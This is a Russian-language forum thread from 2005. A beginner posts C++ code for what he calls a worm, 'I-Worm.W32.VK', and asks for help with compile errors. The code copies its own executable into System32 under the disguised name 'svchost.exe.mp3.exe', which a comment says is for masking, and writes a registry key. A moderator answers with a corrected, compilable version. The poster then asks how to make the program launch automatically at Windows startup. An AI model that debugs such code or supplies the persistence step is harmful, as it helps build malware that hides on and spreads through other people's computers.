phobos |
Отправлено: 17.03.2005, 17:21 |
|
Ученик-кочегар
Группа: Участник
Сообщений: 6
|
Вот я задумал зделать подобие червя интерестно получится только несмейтесь я практикуюсь=).?Вот хочу попрасить исправить ошибки!У меня часто возникает проблемма поясняю
вот допустим я написал код в один модуль хорошо всё работает пишу во второй,компилю и тот код который во втором модуле неработает!Компилятор почемуто его игнорирует?!Обясните эту мистику?!=)
[C++ Error] Unit1.cpp(37): E2141 Declaration syntax error
[C++ Error] Unit1.cpp(40): E2121 Function call missing )
[C++ Error] Unit1.cpp(40): E2380 Unterminated string or character constant
[C++ Warning] Unit1.cpp(46): W8070 Function should return a value
[C++ Warning] Unit1.cpp(46): W8004 'nRet' is assigned a value that is never used
CODE |
#include <iostream.h>
#include <vcl.h>
#include <conio.h>
#include <stdio.h>
#include <mmsystem.h>
#include <iostream.h>
#include <windows.h>
#include <string.h>
int main ()
{
cout <<
" ==============================\n"
" = =\n"
" =Phobos Pressent A New Worm =\n"
" = Created =\n"
" = 16.03.2005 =\n"
" = Name: =\n"
" = I-Worm.W32.VK =\n"
" = =\n"
" = =\n"
" = =\n"
" ==============================\n";
getch ();
}
char windir[MAX_PATH];
HKEY hKey;
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char pathname[512];
unsigned char reg[10000] = ""
GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 512);
strcat(windir, "\\System32\\"svchost.exe.mp3.exe");//для маскировки
CopyFile(pathname,windir,0);
RegCreateKey(HKEY_CURRENT_USER,"Software\\",&hKey);
RegSetValueEx(hKey,"",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);
} |
Отредактировано Gedeon — 17/03/2005, 16:09 |
|
Gedeon |
Отправлено: 17.03.2005, 18:34 |
|
Ветеран
Группа: Модератор
Сообщений: 1742
|
Найдите 10 отличий
CODE |
#include <iostream.h>
#include <vcl.h>
#include <conio.h>
#include <stdio.h>
#include <mmsystem.h>
#include <iostream.h>
#include <windows.h>
#include <string.h>
int main ()
{
cout <<
" ==============================\n"
" = =\n"
" =Phobos Pressent A New Worm =\n"
" = Created =\n"
" = 16.03.2005 =\n"
" = Name: =\n"
" = I-Worm.W32.VK =\n"
" = =\n"
" = =\n"
" = =\n"
" ==============================\n";
getch ();
}
char windir[MAX_PATH];
HKEY hKey;
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char pathname[512];
unsigned char reg[10000] = "";
GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 512); // это он в ворнинге обругивается
strcat(windir, "\\System32\\svchost.exe.mp3.exe");//для маскировки
CopyFile(pathname,windir,0);
RegCreateKey(HKEY_CURRENT_USER,"Software\\",&hKey);
RegSetValueEx(hKey,"",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);
return 0;
} |
|
|
** phobos |
Отправлено: 18.03.2005, 20:09 |
|
Не зарегистрирован
|
Какой нужно код прописать чтоб при запуске винды эта программка запускалась из system32???? |
|
|